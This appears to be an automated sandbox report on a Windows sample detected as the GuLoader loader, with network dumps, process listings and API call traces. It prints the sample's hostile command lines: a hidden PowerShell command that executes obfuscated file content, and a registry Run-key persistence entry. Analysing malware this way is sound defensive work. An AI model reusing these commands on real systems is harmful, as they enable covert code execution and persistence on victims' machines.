2025-01-10 19:15:09 UTC	1360	IN	Data Raw: 65 3d 22 53 77 69 74 63 68 20 74 6f 20 74 68 65 20 68 6f 6d 65 20 70 61 67 65 22 20 68 72 65 66 3d 22 2f 22 3e 0a 09 09 09 3c 73 74 72 6f 6e 67 3e 46 69 6c 65 54 72 61 6e 73 66 65 72 2e 69 6f 3c 2f 73 74 72 6f 6e 67 3e 0a 09 09 3c 2f 61 3e 0a 09 09 3c 21 2d 2d 20 2e 6c 6f 67 6f 20 2d 2d 3e 0a 0a 09 09 3c 64 69 76 20 69 64 3d 22 73 6e 69 70 70 65 74 2d 2d 68 65 61 64 65 72 22 3e 0a 0a 0a 0a 0a 09 09 09 3c 61 20 68 72 65 66 3d 22 2f 6c 6f 67 69 6e 22 0a 09 09 09 20 20 20 63 6c 61 73 73 3d 22 61 63 63 6f 75 6e 74 20 75 6e 64 65 72 6c 69 6e 65 22 0a 09 09 09 20 20 20 64 61 74 61 2d 61 75 74 68 65 6e 74 69 63 61 74 65 64 3d 22 66 61 6c 73 65 22 3e 0a 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 75 73 65 72 20 63 69 72 63 6c 65 22 3e 3c 2f Data Ascii: e="Switch to the home page" href="/"><strong>FileTransfer.io</strong></a>... .logo --><div id="snippet--header"><a href="/login" class="account underline" data-authenticated="false"><span class="icon-user circle"></
2025-01-10 19:15:09 UTC	1369	IN	Data Raw: 62 30 35 0d 0a 0a 0a 09 09 3c 68 72 3e 0a 0a 09 09 09 09 09 09 3c 73 65 63 74 69 6f 6e 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 20 6e 65 77 2d 63 6f 6e 74 65 6e 74 22 3e 0a 0a 0a 09 09 3c 64 69 76 20 69 64 3d 22 73 6e 69 70 70 65 74 2d 2d 66 6c 61 73 68 65 73 22 3e 3c 2f 64 69 76 3e 09 09 09 09 09 3c 21 2d 2d 20 2e 61 6c 65 72 74 20 2d 2d 3e 0a 0a 0a 09 09 09 09 09 3c 64 69 76 20 64 61 74 61 2d 6e 61 6d 65 3d 22 75 70 6c 6f 61 64 2d 70 61 72 61 6d 65 74 65 72 73 22 20 64 61 74 61 2d 73 70 65 63 69 61 6c 3d 22 25 37 42 25 32 32 75 70 6c 6f 61 64 53 74 61 72 74 55 72 6c 25 32 32 25 33 41 25 32 32 25 32 46 73 74 61 72 74 2d 75 70 6c 6f 61 64 25 32 32 25 32 43 25 32 32 72 65 6d 6f 76 65 46 69 6c 65 55 72 6c 25 32 32 25 33 41 25 32 32 25 32 46 72 65 6d 6f Data Ascii: b05<hr><section class="content new-content"><div id="snippet--flashes"></div>... .alert --><div data-name="upload-parameters" data-special="%7B%22uploadStartUrl%22%3A%22%2Fstart-upload%22%2C%22removeFileUrl%22%3A%22%2Fremo
2025-01-10 19:15:09 UTC	1369	IN	Data Raw: 0a 09 09 09 09 09 09 3c 2f 6c 61 62 65 6c 3e 0a 09 09 09 09 09 3c 2f 70 3e 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 3c 21 2d 2d 20 2e 69 6e 74 72 6f 20 2d 2d 3e 0a 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 61 6c 65 72 74 20 61 6c 65 72 74 2d 65 72 72 6f 72 20 61 6c 65 72 74 2d 6e 6f 72 65 6d 6f 76 65 20 61 6c 65 72 74 2d 68 69 64 64 65 6e 22 20 64 61 74 61 2d 61 6c 65 72 74 2d 6f 63 63 61 73 69 6f 6e 3d 22 74 6f 6f 2d 62 69 67 22 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 74 69 6d 65 73 22 3e 3c 2f 73 70 61 6e 3e 54 68 65 20 6d 61 78 69 6d 75 6d 20 73 69 7a 65 20 6f 66 20 61 20 64 61 74 61 20 70 61 63 6b 61 67 65 20 69 73 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 61 78 Data Ascii: </label></p></div>... .intro --></div><div class="alert alert-error alert-noremove alert-hidden" data-alert-occasion="too-big"><span class="icon-times"></span>The maximum size of a data package is <span class="max
2025-01-10 19:15:09 UTC	90	IN	Data Raw: 61 73 73 3d 22 61 6c 65 72 74 20 61 6c 65 72 74 2d 77 61 72 6e 69 6e 67 20 61 6c 65 72 74 2d 6e 6f 72 65 6d 6f 76 65 20 61 6c 65 72 74 2d 68 69 64 64 65 6e 22 20 64 61 74 61 2d 61 6c 65 72 74 2d 6f 63 63 61 73 69 6f 6e 3d 22 64 69 72 65 63 74 6f 72 69 65 73 22 3e 0d 0a Data Ascii: ass="alert alert-warning alert-noremove alert-hidden" data-alert-occasion="directories">

Target ID:	0
Start time:	14:13:01
Start date:	10/01/2025
Path:	C:\Users\user\Desktop\ht58337iNC.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\ht58337iNC.exe"
Imagebase:	0x400000
File size:	492'360 bytes
MD5 hash:	FAC446C07F42F8F4EDA2A19CB9D9D0BD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	14:13:02
Start date:	10/01/2025
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell.exe -windowstyle hidden "$Noerror=Get-Content -Raw 'C:\Users\user\AppData\Roaming\Remontado113\Biennalens.Com';$Televiserendes=$Noerror.SubString(54649,3);.$Televiserendes($Noerror)"
Imagebase:	0xa80000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	14:13:02
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	14:13:53
Start date:	10/01/2025
Path:	C:\Windows\SysWOW64\msiexec.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\msiexec.exe"
Imagebase:	0x3b0000
File size:	59'904 bytes
MD5 hash:	9D09DC1EDA745A5F87553048E57620CF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000006.00000002.3424386540.00000000051F5000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	14:14:01
Start date:	10/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Fotokopiering" /t REG_EXPAND_SZ /d "%Internettets% -windowstyle 1 $Tthedsfunktion=(gp -Path 'HKCU:\Software\asserts\').Alkoxide;%Internettets% ($Tthedsfunktion)"
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	14:14:01
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	14:14:01
Start date:	10/01/2025
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Fotokopiering" /t REG_EXPAND_SZ /d "%Internettets% -windowstyle 1 $Tthedsfunktion=(gp -Path 'HKCU:\Software\asserts\').Alkoxide;%Internettets% ($Tthedsfunktion)"
Imagebase:	0x6c0000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	20.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	22%
Total number of Nodes:	1297
Total number of Limit Nodes:	26

Executed Functions

Function 004032A0 Relevance: 87.9, APIs: 32, Strings: 18, Instructions: 401
stringfilecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE ref: 004032C2
GetVersion.KERNEL32 ref: 004032C8
#17.COMCTL32(00000007,00000009,SETUPAPI,USERENV,UXTHEME), ref: 00403318
OleInitialize.OLE32(00000000), ref: 0040331F
SHGetFileInfoW.SHELL32(0042B228,00000000,?,000002B4,00000000), ref: 0040333B
GetCommandLineW.KERNEL32(00433F00,NSIS Error), ref: 00403350
GetModuleHandleW.KERNEL32(00000000,"C:\Users\user\Desktop\ht58337iNC.exe",00000000), ref: 00403363
CharNextW.USER32(00000000,"C:\Users\user\Desktop\ht58337iNC.exe",00000020), ref: 0040338A

Part of subcall function 0040642B: GetModuleHandleA.KERNEL32(?,?,00000020,0040330C,00000009,SETUPAPI,USERENV,UXTHEME), ref: 0040643D
Part of subcall function 0040642B: GetProcAddress.KERNEL32(00000000,?), ref: 00406458

GetTempPathW.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\), ref: 004034C5
GetWindowsDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB), ref: 004034D6
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp), ref: 004034E2
GetTempPathW.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp), ref: 004034F6
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low), ref: 004034FE
SetEnvironmentVariableW.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low), ref: 0040350F
SetEnvironmentVariableW.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\), ref: 00403517
DeleteFileW.KERNELBASE(1033), ref: 0040352B

Part of subcall function 00406055: lstrcpynW.KERNEL32(0040A300,0040A300,00000400,00403350,00433F00,NSIS Error), ref: 00406062

OleUninitialize.OLE32(?), ref: 004035F6
ExitProcess.KERNEL32 ref: 00403618
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\ht58337iNC.exe",00000000,?), ref: 0040362B
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,0040A26C,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\ht58337iNC.exe",00000000,?), ref: 0040363A
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\ht58337iNC.exe",00000000,?), ref: 00403645
lstrcmpiW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\Desktop,C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\ht58337iNC.exe",00000000,?), ref: 00403651
SetCurrentDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\), ref: 0040366D
DeleteFileW.KERNEL32(0042AA28,0042AA28,?,00435000,?), ref: 004036C7
CopyFileW.KERNEL32(00442800,0042AA28,00000001), ref: 004036DB
CloseHandle.KERNEL32(00000000,0042AA28,0042AA28,?,0042AA28,00000000), ref: 00403708
GetCurrentProcess.KERNEL32(00000028,?), ref: 00403737
OpenProcessToken.ADVAPI32(00000000), ref: 0040373E
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403753
AdjustTokenPrivileges.ADVAPI32 ref: 00403776
ExitWindowsEx.USER32(00000002,80040002), ref: 0040379B
ExitProcess.KERNEL32 ref: 004037BE

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 004034BA, 004034BF, 004034D5, 004034E1, 004034F0, 004034FD, 00403509, 00403511, 00403628, 00403639, 00403644, 00403650, 0040365D, 0040366C, 0040371D
"C:\Users\user\Desktop\ht58337iNC.exe", xrefs: 00403356, 0040335C, 00403553
\Temp, xrefs: 004034DC
USERENV, xrefs: 004032F1
C:\Users\user\Desktop, xrefs: 0040364A, 0040364F, 0040367C
SeShutdownPrivilege, xrefs: 0040374D
C:\Users\user\AppData\Roaming\Remontado113\Registerudtrkket, xrefs: 004035D3
.tmp, xrefs: 0040363F
1033, xrefs: 00403526
SETUPAPI, xrefs: 004032FB
~nsu, xrefs: 00403623
TEMP, xrefs: 0040350A
Error launching installer, xrefs: 004035AD
NSIS Error, xrefs: 00403341
C:\Users\user\AppData\Roaming\Remontado113, xrefs: 004034A8, 004035C8, 00403673, 0040367D
UXTHEME, xrefs: 004032E7
Low, xrefs: 004034F8
TMP, xrefs: 00403512

Memory Dump Source

Source File: 00000000.00000002.2221492272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2221471001.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221511965.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221788631.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ht58337iNC.jbxd

Similarity

API ID: lstrcat$FileProcess$ExitHandle$CurrentDeleteDirectoryEnvironmentModulePathTempTokenVariableWindows$AddressAdjustCharCloseCommandCopyErrorInfoInitializeLineLookupModeNextOpenPrivilegePrivilegesProcUninitializeValueVersionlstrcmpilstrcpyn
String ID: "C:\Users\user\Desktop\ht58337iNC.exe"$.tmp$1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Roaming\Remontado113$C:\Users\user\AppData\Roaming\Remontado113\Registerudtrkket$C:\Users\user\Desktop$Error launching installer$Low$NSIS Error$SETUPAPI$SeShutdownPrivilege$TEMP$TMP$USERENV$UXTHEME$\Temp$~nsu
API String ID: 3586999533-1817008098
Opcode ID: b827acbfab3d4720ef34ac5443d28d3f7d15047fe89d0747e57ebf6cfb078bd7
Instruction ID: 84ba5929d45b1413e1818888a5ef7abe037fd34abcf77f3f73da9f6cce4da4cf
Opcode Fuzzy Hash: b827acbfab3d4720ef34ac5443d28d3f7d15047fe89d0747e57ebf6cfb078bd7
Instruction Fuzzy Hash: 35D1F870500300ABD310BF659D49A3B3AADEB8174AF51443FF581B62E2DB7D8945876E

Function 004052F3 Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 284
windowclipboardmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,00000403), ref: 00405351
GetDlgItem.USER32(?,000003EE), ref: 00405360
GetClientRect.USER32(?,?), ref: 0040539D
GetSystemMetrics.USER32(00000002), ref: 004053A4
SendMessageW.USER32(?,00001061,00000000,?), ref: 004053C5
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 004053D6
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 004053E9
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 004053F7
SendMessageW.USER32(?,00001024,00000000,?), ref: 0040540A
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 0040542C
ShowWindow.USER32(?,00000008), ref: 00405440
GetDlgItem.USER32(?,000003EC), ref: 00405461
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 00405471
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 0040548A
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 00405496
GetDlgItem.USER32(?,000003F8), ref: 0040536F

Part of subcall function 0040414E: SendMessageW.USER32(00000028,?,00000001,00403F7A), ref: 0040415C

GetDlgItem.USER32(?,000003EC), ref: 004054B3
CreateThread.KERNELBASE(00000000,00000000,Function_00005287,00000000), ref: 004054C1
CloseHandle.KERNELBASE(00000000), ref: 004054C8
ShowWindow.USER32(00000000), ref: 004054EC
ShowWindow.USER32(00010448,00000008), ref: 004054F1
ShowWindow.USER32(00000008), ref: 0040553B
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040556F
CreatePopupMenu.USER32 ref: 00405580
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 00405594
GetWindowRect.USER32(?,?), ref: 004055B4
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 004055CD
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405605
OpenClipboard.USER32(00000000), ref: 00405615
EmptyClipboard.USER32 ref: 0040561B
GlobalAlloc.KERNEL32(00000042,00000000), ref: 00405627
GlobalLock.KERNEL32(00000000), ref: 00405631
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405645
GlobalUnlock.KERNEL32(00000000), ref: 00405665
SetClipboardData.USER32(0000000D,00000000), ref: 00405670
CloseClipboard.USER32 ref: 00405676

Strings

{, xrefs: 00405559

Memory Dump Source

Source File: 00000000.00000002.2221492272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2221471001.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221511965.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221788631.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ht58337iNC.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: {
API String ID: 590372296-366298937
Opcode ID: 6a0fc3a2d5fa7d70d7ffe9782798eb57218c845f869a5f65bcd99de69d398bf2
Instruction ID: bedd14c977596f777f0676ed5d78e17ab23f6a1f4e688fc8743dda88f8352f2f
Opcode Fuzzy Hash: 6a0fc3a2d5fa7d70d7ffe9782798eb57218c845f869a5f65bcd99de69d398bf2
Instruction Fuzzy Hash: 85B15A71900608FFDB11AF60DD89AAE7B79FB48355F00803AFA41BA1A0CB755E51DF58

Function 00406077 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 207
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersion.KERNEL32(00000000,Completed,?,004051EB,Completed,00000000,00000000,?), ref: 0040613A
GetSystemDirectoryW.KERNEL32(: Completed,00000400), ref: 004061B8
GetWindowsDirectoryW.KERNEL32(: Completed,00000400), ref: 004061CB
SHGetSpecialFolderLocation.SHELL32(?,?), ref: 00406207
SHGetPathFromIDListW.SHELL32(?,: Completed), ref: 00406215
CoTaskMemFree.OLE32(?), ref: 00406220
lstrcatW.KERNEL32(: Completed,\Microsoft\Internet Explorer\Quick Launch), ref: 00406244
lstrlenW.KERNEL32(: Completed,00000000,Completed,?,004051EB,Completed,00000000,00000000,?), ref: 0040629E

Strings

\Microsoft\Internet Explorer\Quick Launch, xrefs: 0040623E
Completed, xrefs: 0040609C
Software\Microsoft\Windows\CurrentVersion, xrefs: 00406186
: Completed, xrefs: 004060A1, 00406181, 004061A2, 004061B7, 004061CA, 004061E6, 00406211, 00406243, 00406249, 00406263, 00406277, 00406297, 0040629D, 004062A9, 004062DC

Memory Dump Source

Source File: 00000000.00000002.2221492272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2221471001.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221511965.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221788631.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ht58337iNC.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskVersionWindowslstrcatlstrlen
String ID: : Completed$Completed$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 900638850-905382516
Opcode ID: 815d4a1d12106e293d3587ab000579fb05f8572ec1ae3e21e1ffc4f2e4f9e7d3
Instruction ID: e2b9bd4c7d0941b93a588dc58e8d14d5200dcae9cd5da35c43f1ba43b89dddbc
Opcode Fuzzy Hash: 815d4a1d12106e293d3587ab000579fb05f8572ec1ae3e21e1ffc4f2e4f9e7d3
Instruction Fuzzy Hash: 79610371A00504EBDF20AF64CC40BAE37A5AF55324F16817FE942BA2D0D73D9AA1CB4D

Function 00406398 Relevance: 3.0, APIs: 2, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(?,004302B8,0042FA70,00405B5A,0042FA70,0042FA70,00000000,0042FA70,0042FA70, 4#v,?,C:\Users\user\AppData\Local\Temp\,00405866,?,76233420,C:\Users\user\AppData\Local\Temp\), ref: 004063A3
FindClose.KERNEL32(00000000), ref: 004063AF

Memory Dump Source

Source File: 00000000.00000002.2221492272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2221471001.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221511965.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221788631.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ht58337iNC.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 26ecc7b94827cd81dbcd23612912991a36a9a8e6a086a5859bf6985d6c65a255
Instruction ID: 3b49439eae3a82ac9864466e1d27f896d1b9bc200308884f11696e1f8cd425af
Opcode Fuzzy Hash: 26ecc7b94827cd81dbcd23612912991a36a9a8e6a086a5859bf6985d6c65a255
Instruction Fuzzy Hash: 3AD012755081209BC28117386E0C84B7A5C9F193317115B36FE6BF22E0CB388C6786DC

Function 00403C41 Relevance: 48.3, APIs: 32, Instructions: 345
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403C7D
ShowWindow.USER32(?), ref: 00403C9A
DestroyWindow.USER32 ref: 00403CAE
SetWindowLongW.USER32(?,00000000,00000000), ref: 00403CCA
GetDlgItem.USER32(?,?), ref: 00403CEB
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00403CFF
IsWindowEnabled.USER32(00000000), ref: 00403D06
GetDlgItem.USER32(?,00000001), ref: 00403DB4
GetDlgItem.USER32(?,00000002), ref: 00403DBE
SetClassLongW.USER32(?,000000F2,?), ref: 00403DD8
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 00403E29
GetDlgItem.USER32(?,00000003), ref: 00403ECF
ShowWindow.USER32(00000000,?), ref: 00403EF0
KiUserCallbackDispatcher.NTDLL(?,?), ref: 00403F02
EnableWindow.USER32(?,?), ref: 00403F1D
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00403F33
EnableMenuItem.USER32(00000000), ref: 00403F3A
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 00403F52
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 00403F65
lstrlenW.KERNEL32(0042D268,?,0042D268,00433F00), ref: 00403F8E
SetWindowTextW.USER32(?,0042D268), ref: 00403FA2
ShowWindow.USER32(?,0000000A), ref: 004040D6

Memory Dump Source

Source File: 00000000.00000002.2221492272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2221471001.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221511965.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221788631.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ht58337iNC.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID:
API String ID: 3282139019-0
Opcode ID: 3899400ff8e588ca518489e250fd262a6eccf12b27110187e4fcf668c4fe1b6b
Instruction ID: ea0d75974b1de0ff06d17ebe4cf6f8c3df4269cbbec1c2e45b889e3be151f72f
Opcode Fuzzy Hash: 3899400ff8e588ca518489e250fd262a6eccf12b27110187e4fcf668c4fe1b6b
Instruction Fuzzy Hash: 51C1AEB1604300ABDB206F61ED85E2B7AA8EB94706F50053EF641B61F0CB7999529B2D

Function 0040389E Relevance: 45.7, APIs: 13, Strings: 13, Instructions: 215
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040642B: GetModuleHandleA.KERNEL32(?,?,00000020,0040330C,00000009,SETUPAPI,USERENV,UXTHEME), ref: 0040643D
Part of subcall function 0040642B: GetProcAddress.KERNEL32(00000000,?), ref: 00406458

lstrcatW.KERNEL32(1033,0042D268,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042D268,00000000,00000002,76233420,C:\Users\user\AppData\Local\Temp\,00000000,"C:\Users\user\Desktop\ht58337iNC.exe"), ref: 0040391F
